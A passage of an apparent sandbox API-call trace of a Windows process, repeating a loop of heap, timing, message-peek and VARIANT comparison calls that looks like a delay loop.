0x383ee58 [0190.646] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.646] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.646] GetTickCount () returned 0x115fb7f [0190.646] GetTickCount () returned 0x115fb7f [0190.646] CoFreeUnusedLibraries () [0190.646] DllCanUnloadNow () returned 0x1 [0190.646] GetTickCount () returned 0x115fb7f [0190.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.646] GetTickCount () returned 0x115fb7f [0190.647] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x10b)) [0190.647] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.647] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.648] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.648] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.648] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.648] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.648] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.648] GetTickCount () returned 0x115fb7f [0190.648] GetTickCount () returned 0x115fb7f [0190.648] CoFreeUnusedLibraries () [0190.648] DllCanUnloadNow () returned 0x1 [0190.648] GetTickCount () returned 0x115fb7f [0190.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.648] GetTickCount () returned 0x115fb7f [0190.672] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x12b)) [0190.673] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.673] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.673] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.673] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.673] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.673] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.673] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.673] GetTickCount () returned 0x115fb9e [0190.673] GetTickCount () returned 0x115fb9e [0190.674] CoFreeUnusedLibraries () [0190.674] DllCanUnloadNow () returned 0x1 [0190.674] GetTickCount () returned 0x115fb9e [0190.674] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.674] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.674] GetTickCount () returned 0x115fb9e [0190.682] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x12b)) [0190.683] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.683] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.683] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.683] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.683] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.683] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.683] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.683] GetTickCount () returned 0x115fb9e [0190.684] GetTickCount () returned 0x115fb9e [0190.684] CoFreeUnusedLibraries () [0190.684] DllCanUnloadNow () returned 0x1 [0190.684] GetTickCount () returned 0x115fb9e [0190.684] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.684] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.684] GetTickCount () returned 0x115fb9e [0190.710] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x14a)) [0190.710] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.710] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.710] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.710] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.711] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.711] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.711] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.711] GetTickCount () returned 0x115fbbd [0190.711] GetTickCount () returned 0x115fbbd [0190.711] CoFreeUnusedLibraries () [0190.711] DllCanUnloadNow () returned 0x1 [0190.711] GetTickCount () returned 0x115fbbd [0190.711] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.711] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.711] GetTickCount () returned 0x115fbbd [0190.719] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x159)) [0190.720] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.720] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.720] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.720] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.720] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.720] GetTickCount () returned 0x115fbcd [0190.720] GetTickCount () returned 0x115fbcd [0190.721] CoFreeUnusedLibraries () [0190.721] DllCanUnloadNow () returned 0x1 [0190.721] GetTickCount () returned 0x115fbcd [0190.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.721] GetTickCount () returned 0x115fbcd [0190.723] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x159)) [0190.723] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.723] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.723] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.723] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.723] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.723] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.723] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.723] GetTickCount () returned 0x115fbcd [0190.723] GetTickCount () returned 0x115fbcd [0190.724] CoFreeUnusedLibraries () [0190.724] DllCanUnloadNow () returned 0x1 [0190.724] GetTickCount () returned 0x115fbcd [0190.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.724] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.724] GetTickCount () returned 0x115fbcd [0190.728] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x159)) [0190.728] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.728] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.728] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.728] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.728] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.728] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.728] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.729] GetTickCount () returned 0x115fbcd [0190.729] GetTickCount () returned 0x115fbcd [0190.729] CoFreeUnusedLibraries () [0190.729] DllCanUnloadNow () returned 0x1 [0190.729] GetTickCount () returned 0x115fbcd [0190.729] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.729] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.729] GetTickCount () returned 0x115fbcd [0190.730] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x159)) [0190.730] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.730] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.730] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.730] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.730] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.731] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.731] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.731] GetTickCount () returned 0x115fbcd [0190.731] GetTickCount () returned 0x115fbcd [0190.731] CoFreeUnusedLibraries () [0190.731] DllCanUnloadNow () returned 0x1 [0190.731] GetTickCount () returned 0x115fbcd [0190.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.731] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.731] GetTickCount () returned 0x115fbcd [0190.764] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x179)) [0190.764] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.764] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.764] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.764] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.765] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.765] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.765] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.765] GetTickCount () returned 0x115fbec [0190.765] GetTickCount () returned 0x115fbec [0190.765] CoFreeUnusedLibraries () [0190.765] DllCanUnloadNow () returned 0x1 [0190.765] GetTickCount () returned 0x115fbec [0190.765] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.765] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.765] GetTickCount () returned 0x115fbfc [0190.766] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.766] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.766] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.767] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.767] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.767] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.767] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.767] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.767] GetTickCount () returned 0x115fbfc [0190.767] GetTickCount () returned 0x115fbfc [0190.767] CoFreeUnusedLibraries () [0190.767] DllCanUnloadNow () returned 0x1 [0190.767] GetTickCount () returned 0x115fbfc [0190.767] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.767] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.767] GetTickCount () returned 0x115fbfc [0190.768] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.769] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.769] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.769] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.769] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.769] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.769] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.769] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.769] GetTickCount () returned 0x115fbfc [0190.769] GetTickCount () returned 0x115fbfc [0190.769] CoFreeUnusedLibraries () [0190.769] DllCanUnloadNow () returned 0x1 [0190.769] GetTickCount () returned 0x115fbfc [0190.769] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.769] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.769] GetTickCount () returned 0x115fbfc [0190.770] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.771] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.771] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.771] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.771] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.771] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.771] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.771] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.771] GetTickCount () returned 0x115fbfc [0190.771] GetTickCount () returned 0x115fbfc [0190.771] CoFreeUnusedLibraries () [0190.771] DllCanUnloadNow () returned 0x1 [0190.771] GetTickCount () returned 0x115fbfc [0190.771] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.771] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.771] GetTickCount () returned 0x115fbfc [0190.772] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.772] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.773] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.773] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.773] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.773] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.773] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.773] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.773] GetTickCount () returned 0x115fbfc [0190.773] GetTickCount () returned 0x115fbfc [0190.773] CoFreeUnusedLibraries () [0190.773] DllCanUnloadNow () returned 0x1 [0190.773] GetTickCount () returned 0x115fbfc [0190.773] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.773] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.773] GetTickCount () returned 0x115fbfc [0190.774] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.774] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.774] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.774] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.774] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.775] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.775] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.775] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.775] GetTickCount () returned 0x115fbfc [0190.775] GetTickCount () returned 0x115fbfc [0190.775] CoFreeUnusedLibraries () [0190.775] DllCanUnloadNow () returned 0x1 [0190.775] GetTickCount () returned 0x115fbfc [0190.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.775] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.775] GetTickCount () returned 0x115fbfc [0190.776] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.776] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.776] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.776] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.776] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.777] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.777] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.777] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.777] GetTickCount () returned 0x115fbfc [0190.777] GetTickCount () returned 0x115fbfc [0190.777] CoFreeUnusedLibraries () [0190.777] DllCanUnloadNow () returned 0x1 [0190.777] GetTickCount () returned 0x115fbfc [0190.777] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.777] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.777] GetTickCount () returned 0x115fbfc [0190.778] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x188)) [0190.778] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.778] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.778] 